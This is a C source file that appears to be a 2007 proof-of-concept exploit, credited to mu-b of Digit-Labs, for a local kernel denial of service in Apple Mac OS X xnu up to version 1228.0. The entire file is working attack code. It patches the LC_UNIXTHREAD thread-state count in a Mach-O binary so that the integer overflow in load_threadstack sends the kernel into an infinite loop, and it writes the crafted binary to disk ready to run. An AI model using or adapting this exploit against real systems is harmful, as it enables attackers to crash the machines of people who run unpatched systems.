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/* xnu-macho-dos.c
*
* Copyright (c) 2007 by <mu-b@digit-labs.org>
*
* Apple MACOS X xnu <= 1228.0 local kernel DoS POC
* by mu-b - Thu 15 Nov 2007
*
* - Tested on: Apple MACOS X 10.4 (xnu-792.22.5~1/RELEASE_I386)
* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_PPC)
*
* integer overflow causes infinite loop in load_threadstack.
* (bsd/kern/mach_loader.c)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#define MAX_PATH_LEN 128
#define LC_UNIXTHREAD 0x05
#define x86_THREAD_STATE32 0x01
/* osfmk/mach-o/loader.h */
struct thread_command {
unsigned long cmd; /* LC_THREAD or LC_UNIXTHREAD */
unsigned long cmdsize; /* total size of this command */
unsigned long flavor; /* flavor of thread state */
unsigned long count; /* count of longs in thread state */
};
static void *
xmalloc (int num_bytes)
{
char *buf;
buf = malloc (num_bytes);
if (buf == NULL)
{
fprintf (stderr, "malloc (): out of memory allocating %d-bytes!\n", num_bytes);
exit (EXIT_FAILURE);
}
return (buf);
}
int
main (int argc, char ** argv)
{
char fnbuf[MAX_PATH_LEN], *ptr, *cur, *end;
int fd, wfd, found, size;
struct stat fbuf;
printf ("Apple MACOS X xnu <= 1228.0 local kernel DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <macho-o binary>\n", argv[0]);
exit (EXIT_SUCCESS);
}
if ((fd = open (argv[1], O_RDONLY)) == -1)
{
perror ("open ()");
exit (EXIT_FAILURE);
}
snprintf (fnbuf, sizeof fnbuf, "%s-pown", argv[1]);
if ((wfd = open (fnbuf, O_RDWR | O_CREAT)) == -1)
{
perror ("open ()");
exit (EXIT_FAILURE);
}
if (fstat (fd, &fbuf) < 0)
{
perror ("fstat ()");
exit (EXIT_FAILURE);
}
size = fbuf.st_size;
ptr = xmalloc (sizeof (char) * size);
end = ptr + size;
if (read (fd, ptr, size) < size)
{
unlink (fnbuf);
perror ("write ()");
exit (EXIT_FAILURE);
}
close (fd);
for (cur = ptr, found = 0;
!found && cur + sizeof (struct thread_command) < end;
cur += sizeof (unsigned long))
{
struct thread_command *thr_cmd;
thr_cmd = (struct thread_command *) cur;
if (thr_cmd->cmd == LC_UNIXTHREAD &&
thr_cmd->flavor == x86_THREAD_STATE32)
{
thr_cmd->count = 0x3FFFFFFE;
printf ("* found at offset @0x%08X\n", cur - ptr);
found = 1;
}
}
if (!found)
{
unlink (fnbuf);
fprintf (stderr, "* ARGH! hueristic didn't find our target!\n");
exit (EXIT_FAILURE);
}
write (wfd, ptr, size);
fchmod(wfd, fbuf.st_mode);
close (wfd);
free (ptr);
fprintf (stdout, "* done\nexecute ./%s at your own risk!$%%!\n", fnbuf);
return (EXIT_SUCCESS);
}
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